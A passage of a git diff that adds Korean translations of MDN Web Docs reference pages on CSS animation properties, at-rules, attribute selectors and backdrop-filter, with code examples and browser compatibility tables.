노트: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예제(Examples)

+ +

CSS animations를 보십시오.

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.50
4.0{{property_prefix("-webkit")}}
reverse19{{CompatVersionUnknown}}{{CompatGeckoDesktop("16.0")}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
alternate-reverse19{{CompatVersionUnknown}}{{CompatGeckoDesktop("16.0")}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}[1]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
reverse{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
alternate-reverse{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation-duration/index.html b/files/ko/web/css/animation-duration/index.html new file mode 100644 index 0000000000..83e46427df --- /dev/null +++ b/files/ko/web/css/animation-duration/index.html @@ -0,0 +1,140 @@ +--- +title: animation-duration +slug: Web/CSS/animation-duration +tags: + - CSS 애니메이션 +translation_of: Web/CSS/animation-duration +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

animation-duration CSS 속성은 애니메이션이 한 사이클을 완료하는 데 걸리는 시간을 지정합니다.

+ +
/* Single animation */
+animation-duration: 6s;
+animation-duration: 120ms;
+
+/* Multiple animations */
+animation-duration: 1.64s, 15.22s;
+animation-duration: 10s, 35s, 230ms;
+
+ +

축약 속성 {{ cssxref("animation") }}를 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

Values

+ +
+
{{cssxref("<time>")}}
+
애니메이션이 한 사이클을 완료하는 데 걸리는 지속 시간입니다. 이것은 초(s) 또는 밀리 초 (ms)로 지정 될 수 있습니다. 값은 양수 또는 0이어야하며 단위는 필수입니다. 기본값인 0의 값은 애니메이션이 작동하지 않아야 함을 나타냅니다.
+
+ +
+

Note: 음수 값은 유효하지 않으므로 선언이 무시됩니다. 접두사가 붙은 구현은 그것들을 0과 동일하게 간주 할 수 있습니다.

+
+ +
+

Note: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 얼마나 많은 값이 있는지에 따라 다른 방식으로 지정됩니다. 자세한 내용은 Setting multiple animation property values를 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예제(Examples)

+ +

CSS 애니메이션 예제를 참조하십시오. 

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support3.0{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.10
4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support2.0{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{ CompatGeckoMobile("16.0")}}[1]
{{CompatNo}}{{CompatNo}}4.2{{property_prefix("-webkit")}}{{CompatChrome(43.0)}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두어로 사용 된 속성 버전에 대한 지원을 추가하고 기본을 false로 설정합니다. Gecko 49.0 {{geckoRelease("49.0")}}이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation-fill-mode/index.html b/files/ko/web/css/animation-fill-mode/index.html new file mode 100644 index 0000000000..f1920b92d2 --- /dev/null +++ b/files/ko/web/css/animation-fill-mode/index.html @@ -0,0 +1,241 @@ +--- +title: animation-fill-mode +slug: Web/CSS/animation-fill-mode +tags: + - CSS 속성 + - CSS 애니메이션 +translation_of: Web/CSS/animation-fill-mode +--- +
{{CSSRef}}
+ +

animation-fill-mode CSS 속성은 CSS 애니메이션이 실행 전과 후에 대상에 스타일을 적용하는 방법을 지정합니다.

+ +
/* Single animation */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Multiple animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+
+ +

축약 속성 animation을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

값(Values)

+ +
+
none
+
애니메이션은 실행되지 않을 때 대상에 스타일을 적용하지 않습니다. 요소는 대신 적용된 다른 CSS 규칙을 사용하여 표시됩니다. 이것은 기본값입니다.
+
forwards
+
대상은 실행 된 애니메이션의 마지막 keyframe에 의해 설정된 계산 된 값을 유지합니다. 마지막 키 프레임은 {{cssxref("animation-direction")}}및 {{cssxref("animation-iteration-count")}}의 값에 따라 다릅니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
animation-directionanimation-iteration-countlast keyframe encountered
normaleven or odd100% or to
reverseeven or odd0% or from
alternateeven0% or from
alternateodd100% or to
alternate-reverseeven100% or to
alternate-reverseodd0% or from
+
+
backwards
+
애니메이션은 대상에 적용되는 즉시 첫 번째 관련 keyframe 에 정의 된 값을 적용하고  {{cssxref("animation-delay")}} 기간 동안 이 값을 유지합니다. 첫 번째 관련 키프레임은 {{cssxref("animation-direction")}}의 값에 따라 다릅니다. + + + + + + + + + + + + + + + + + +
animation-directionfirst relevant keyframe
normal or alternate0% or from
reverse or alternate-reverse100% or to
+
+
both
+
애니메이션은 앞뒤 양쪽 모두의 규칙을 따르므로 애니메이션 속성이 양방향으로 확장됩니다.
+
+ +
+

노트: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 animation-name 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+
+ +

예제(Examples)

+ +

다음 예제에서 animation-fill-mode의 효과를 볼 수 있습니다. 무한 시간 동안 실행되는 애니메이션의 경우 원래 상태 (기본값)로 되돌리기보다는 최종 상태로 유지하는 방법을 보여줍니다.

+ +

HTML

+ +
<p>회색 박스 위에 마우스를 올려보세요!</p>
+<div class="demo">
+  <div class="grows">이 글씨는 커집니다.</div>
+  <div class="growsandstays">이 글씨는 커지며, 커진 상태를 유지합니다.</div>
+</div>
+ +

CSS

+ +
.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+}
+
+@keyframes grow {
+  0% { font-size: 0; }
+  100% { font-size: 40px; }
+}
+
+.demo:hover .grows {
+  animation-name: grow;
+  animation-duration: 3s;
+}
+
+.demo:hover .growsandstays {
+  animation-name: grow;
+  animation-duration: 3s;
+  animation-fill-mode: forwards;
+}
+ +

{{EmbedLiveSample('Example',700,300)}}

+ +

자세한 예제는 CSS animations를 보십시오.

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.10
4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}} 은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation/index.html b/files/ko/web/css/animation/index.html new file mode 100644 index 0000000000..0ae99bb71b --- /dev/null +++ b/files/ko/web/css/animation/index.html @@ -0,0 +1,349 @@ +--- +title: animation +slug: Web/CSS/animation +tags: + - CSS + - CSS Animations + - CSS Property + - Reference +translation_of: Web/CSS/animation +--- +
{{CSSRef}}
+ +

animation CSS 속성은 다수의 스타일을 전환하는 애니메이션을 적용합니다. {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-play-state")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/animation.html")}}
+ + + +
/* @keyframes duration | timing-function | delay |
+iteration-count | direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+animation: 3s slidein;
+
+ + + +

{{EmbedLiveSample("animation", "100%", 260, "", "", "example-outcome-frame")}}

+ +

애니메이션 가능한 속성을 확인해보세요. CSS 트랜지션에도 적용된다는 점을 참고하세요.

+ +

{{cssinfo}}

+ +

구문

+ +

The animation property is specified as one or more single animations, separated by commas.

+ +

Each individual animation is specified as:

+ +
    +
  • zero or one occurrences of the following values: +
      +
    • {{cssxref("<single-transition-timing-function>")}}
    • +
    • {{cssxref("animation", "<single-animation-iteration-count>", "#<single-animation-iteration-count>")}}
    • +
    • {{cssxref("animation", "<single-animation-direction>", "#<single-animation-direction>")}}
    • +
    • {{cssxref("animation", "<single-animation-fill-mode>", "#<single-animation-fill-mode>")}}
    • +
    • {{cssxref("animation", "<single-animation-play-state>", "#<single-animation-play-state>")}}
    • +
    +
  • +
  • an optional name for the animation, which may be none, a {{cssxref("<custom-ident>")}}, or a {{cssxref("<string>")}}
  • +
  • zero, one, or two {{cssxref("<time>")}} values
  • +
+ +

The order of values within each animation definition is important: the first value that can be parsed as a {{cssxref("<time>")}} is assigned to the {{cssxref("animation-duration")}}, and the second one is assigned to {{cssxref("animation-delay")}}.

+ +

The order within each animation definition is also important for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsed, keywords that are valid for properties other than {{cssxref("animation-name")}}, and whose values were not found earlier in the shorthand, must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serialized, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.

+ +

+ +
+
<single-animation-iteration-count>
+
The number of times the animation is played. The value must be one of those available in {{cssxref("animation-iteration-count")}}.
+
<single-animation-direction>
+
The direction in which the animation is played. The value must be one of those available in {{cssxref("animation-direction")}}.
+
<single-animation-fill-mode>
+
Determines how styles should be applied to the animation's target before and after its execution. The value must be one of those available in {{cssxref("animation-fill-mode")}}.
+
<single-animation-play-state>
+
Determines whether the animation is playing or not. The value must be one of those available in {{cssxref("animation-play-state")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

Cylon Eye

+ +
<div class="view_port">
+  <div class="polling_message">
+    Listening for dispatches
+  </div>
+  <div class="cylon_eye"></div>
+</div>
+
+ +
.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image: linear-gradient(to right,
+      rgba(0, 0, 0, .9) 25%,
+      rgba(0, 0, 0, .1) 50%,
+      rgba(0, 0, 0, .9) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+        @keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+
+ +

{{EmbedLiveSample('Cylon_Eye')}}

+ +

See Using CSS animations for additional examples.

+ +

접근성 고려사항

+ +

Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.

+ +

Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation', 'animation')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.animation")}}

+ +

Quantum CSS notes

+ +
    +
  • Gecko has a bug whereby when you animate an offscreen element onscreen but specify a delay, Gecko does not repaint on some platforms, e.g. Windows ({{bug(1383239)}}). This has been fixed in Firefox's new parallel CSS engine (also known as Quantum CSS or Stylo, planned for release in Firefox 57).
  • +
  • Another Gecko bug means that {{htmlelement("details")}} elements can't be made open by default using the open attribute if they have an animation active on them ({{bug(1382124)}}). Quantum CSS fixes this.
  • +
  • A further bug means that animations using em units are not affected by changes to the {{cssxref("font-size")}} on the animated element's parent, whereas they should be ({{bug(1254424)}}). Quantum CSS fixes this.
  • +
+ +

같이 보기

+ + diff --git a/files/ko/web/css/at-rule/index.html b/files/ko/web/css/at-rule/index.html new file mode 100644 index 0000000000..2991e685b0 --- /dev/null +++ b/files/ko/web/css/at-rule/index.html @@ -0,0 +1,76 @@ +--- +title: '@-규칙' +slug: Web/CSS/At-rule +tags: + - At-rule + - CSS + - CSS Reference +translation_of: Web/CSS/At-rule +--- +
{{cssref}}
+ +

@-규칙은 식별자(identifier)가 뒤따르는 at 기호('@' (U+0040 COMMERCIAL AT))로 시작하는 CSS 문이며 다음 세미콜론(';' (U+003B SEMICOLON)) 또는 다음 CSS 블록 중 먼저 오는 쪽까지 모든 것을 포함합니다.

+ +
/* General structure */
+@IDENTIFIER (RULE);
+
+/* Example: tells browser to use UTF-8 character set */
+@charset "utf-8";
+ +

다음과 같이 식별자가 지정된 각각 다른 구문인 여러 at-규칙이 있습니다:

+ +
    +
  • {{cssxref("@charset")}} — 스타일 시트에 의해 사용되는 문자 집합을 정의함.
  • +
  • {{cssxref("@import")}} — CSS 엔진에게 외부 스타일 시트를 포함하도록 알림.
  • +
  • {{cssxref("@namespace")}} — CSS 엔진에게 모든 콘텐츠가 XML 네임스페이스로 시작하(prefix가 붙)는 것이 고려되어야 함을 알림.
  • +
  • 중첩 @-규칙 — 중첩 문의 부분 집합으로, 조건부 그룹 규칙 속뿐만 아니라 스타일 시트의 문으로 사용될 수 있습니다: +
      +
    • {{cssxref("@media")}} — 장치가 미디어 질의(media query)를 사용하여 정의된 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.
    • +
    • {{cssxref("@supports")}} — 브라우저가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.
    • +
    • {{cssxref("@document")}} {{experimental_inline}} — 스타일 시트가 적용되는 문서가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙. (CSS Spec 레벨 4로 연기됨)
    • +
    • {{cssxref("@page")}} — 문서를 출력할 때 적용되는 레이아웃 변화의 양상(aspect)을 설명.
    • +
    • {{cssxref("@font-face")}} — 다운로드되는 외부 글꼴의 양상을 설명.
    • +
    • {{cssxref("@keyframes")}} — CSS 애니메이션 sequence 내 중간 단계의 양상을 설명.
    • +
    • {{cssxref("@viewport")}} {{experimental_inline}} — 작은 화면 장치를 위한 viewport의 양상을 설명. (현재 Working Draft 단계임)
    • +
    • {{cssxref("@counter-style")}} — 미리 정의된 스타일 집합의 일부가 아닌 특정 카운터 스타일을 정의. (Candidate Recommendation 단계이지만, 작성 중인 현재 Gecko에서만 구현됨)
    • +
    • {{cssxref("@font-feature-values")}} (@swash, @ornaments, @annotation, @stylistic, @styleset@character-variant와 함께)
      + — OpenType에서 다르게 활성화된 기능에 대해 {{cssxref("font-variant-alternates")}}에서 일반 이름을 정의. (Candidate Recommendation 단계이지만, 작성 중인 현재 Gekko에서만 구현됨)
    • +
    +
  • +
+ +

조건부 그룹 규칙

+ +

속성값과 마찬가지로, 각각의 @-규칙은 다른 구문이 있습니다. 그럼에도 불구하고, 그 중 몇몇은 조건부 그룹 규칙(conditional group rules)으로 불리는 특별한 범주로 분류될 수 있습니다. 이들 문은 공통 구문을 공유하고 그 각각은 중첩 문(규칙 집합(ruleset) 또는 중첩 @-규칙 중 하나)을 포함할 수 있습니다. 게다가, 그들은 모두 일반 semantic 의미를 전달합니다. 그들은 모두 어떤 유형의 조건을 링크합니다, 언제라도 또는 거짓 중 하나로 평가하는. 조건을 으로 평가하면, 그룹 내 모든 문이 적용됩니다.

+ +

조건부 그룹 규칙은 CSS 조건부 규칙 모듈 레벨 3에서 정의되고 다음과 같습니다:

+ +
    +
  • {{cssxref("@media")}},
  • +
  • {{cssxref("@supports")}},
  • +
  • {{cssxref("@document")}}. (CSS Spec 레벨 4로 연기됨)
  • +
+ +

각 조건부 그룹은 또한 중첩 문을 포함할 수 있기에, 불특정한 양의 중첩이 있을 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}초기 정의
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}@-webkit-keyframes 표준화.
diff --git a/files/ko/web/css/attribute_selectors/index.html b/files/ko/web/css/attribute_selectors/index.html new file mode 100644 index 0000000000..4e9cecff26 --- /dev/null +++ b/files/ko/web/css/attribute_selectors/index.html @@ -0,0 +1,228 @@ +--- +title: 특성 선택자 +slug: Web/CSS/Attribute_selectors +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Attribute_selectors +--- +
{{CSSRef("Selectors")}}
+ +

CSS 특성 선택자는 주어진 특성의 존재 여부나 그 값에 따라 요소를 선택합니다.

+ +
/* <a> elements with a title attribute */
+a[title] {
+  color: purple;
+}
+
+/* <a> elements with an href matching "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* <a> elements with an href containing "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* <a> elements with an href ending ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* <a> elements whose class attribute contains the word "logo" */
+a[class~="logo"] {
+  padding: 2px;
+}
+ +

구문

+ +
+
[attr]
+
attr이라는 이름의 특성을 가진 요소를 선택합니다.
+
[attr=value]
+
attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
+
[attr~=value]
+
attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
+
[attr|=value]
+
attr이라는 특성값을 가지고 있으며, 그 특성값이 정확히 value이거나 value로 시작하면서 -(U+002D) 문자가 곧바로 뒤에 따라 붙으면 이 요소를 선택합니다. 보통 언어 서브코드(en-USko-KR 등)가 일치하는지 확인할 때 사용합니다.
+
[attr^=value]
+
attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
+
[attr$=value]
+
attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
+
[attr*=value]
+
attr이라는 특성값을 가지고 있으며, 값 안에 value라는 문자열이 적어도 하나 이상 존재한다면 이 요소를 선택합니다.
+
[attr operator value i]
+
괄호를 닫기 전에 i 혹은 I를 붙여주면 값의 대소문자를 구분하지 않습니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)
+
[attr operator value s] {{experimental_inline}}
+
괄호를 닫기 전에 s 혹은 S를 붙여주면 값의 대소문자를 구분합니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)
+
+ +

예제

+ +

링크

+ +

CSS

+ +
a {
+  color: blue;
+}
+
+/* Internal links, beginning with "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Links with "example" anywhere in the URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Links with "insensitive" anywhere in the URL,
+   regardless of capitalization */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Links with "cAsE" anywhere in the URL,
+with matching capitalization */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Links that end in ".org" */
+a[href$=".org"] {
+  color: red;
+}
+ +

HTML

+ +
<ul>
+  <li><a href="#internal">Internal link</a></li>
+  <li><a href="http://example.com">Example link</a></li>
+  <li><a href="#InSensitive">Insensitive internal link</a></li>
+  <li><a href="http://example.org">Example org link</a></li>
+</ul>
+ +

결과

+ +

{{EmbedLiveSample("링크")}}

+ +

언어

+ +

CSS

+ +
/* All divs with a `lang` attribute are bold. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* All divs in US English are blue. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* All divs in Portuguese are green. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* All divs in Chinese are red, whether
+   simplified (zh-CN) or traditional (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* All divs with a Traditional Chinese
+   `data-lang` are purple. */
+/* Note: You could also use hyphenated attributes
+   without double quotes */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+ +

HTML

+ +
<div lang="en-us en-gb en-au en-nz">Hello World!</div>
+<div lang="pt">Olá Mundo!</div>
+<div lang="zh-CN">世界您好!</div>
+<div lang="zh-TW">世界您好!</div>
+<div data-lang="zh-TW">世界您好!</div>
+ +

결과

+ +

{{EmbedLiveSample("언어")}}

+ +

HTML 정렬 목록

+ +

{{htmlattrxref("type", "input")}} 특성은 주로 {{htmlelement("input")}} 요소에 사용하므로, HTML 명세는 type의 대소문자를 구분하지 않고 선택하도록 요구하고 있습니다. 그러므로 {{htmlelement("ol")}}의 {{htmlattrxref("type", "ol")}}을 특성 선택자로 선택할 땐 {{anch("case-sensitive", "대소문자 구분")}} 수정자를 지정하지 않으면 동작하지 않습니다.

+ +

CSS

+ +
/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}
+ +

HTML

+ +
<ol type="A">
+  <li>Example list</li>
+</ol>
+ +

결과

+ +

{{EmbedLiveSample("HTML_정렬_목록")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS4 Selectors')}}특성값 내에 존재하는 ASCII 문자의 대소문자를 구분하지 않는 수식자(modifier)를 추가하였습니다.
{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS3 Selectors')}}
{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS2.1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.attribute")}}

+ +

같이 보기

+ +
    +
  • CSS {{cssxref("attr")}} 함수
  • +
diff --git a/files/ko/web/css/backdrop-filter/index.html b/files/ko/web/css/backdrop-filter/index.html new file mode 100644 index 0000000000..62921e2fcc --- /dev/null +++ b/files/ko/web/css/backdrop-filter/index.html @@ -0,0 +1,146 @@ +--- +title: backdrop-filter +slug: Web/CSS/backdrop-filter +tags: + - CSS + - CSS Property + - Graphics + - Layout + - Reference + - SVG + - SVG Filter + - Web + - 'recipe:css-property' +translation_of: Web/CSS/backdrop-filter +--- +
{{CSSRef}}
+ +

CSS backdrop-filter는 요소 뒤 영역에 흐림이나 색상 시프트 등 그래픽 효과를 적용할 수 있는 속성입니다. 요소 "뒤"에 적용하기 때문에, 효과를 확인하려면 요소나 요소의 배경을 적어도 반투명하게는 설정해야 합니다.

+ +
/* 키워드 값 */
+backdrop-filter: none;
+
+/* SVG 필터를 가리키는 URL */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* <filter-function> 값 */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* 다중 필터 */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* 전역 값 */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+
+ +

구문

+ +

+ +
+
none
+
뒤에 아무런 필터도 적용하지 않습니다.
+
<filter-function-list>
+
뒤에 적용할 {{cssxref("<filter-function>")}} 또는 SVG필터의 공백 구분 목록입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
.box {
+  background-color: rgba(255, 255, 255, 0.3);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+ -webkit-backdrop-filter: blur(10px);
+  backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html,
+body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172));
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 100%;
+}
+ +

HTML

+ +
<div class="container">
+  <div class="box">
+    <p>backdrop-filter: blur(10px)</p>
+  </div>
+</div>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 600, 400)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
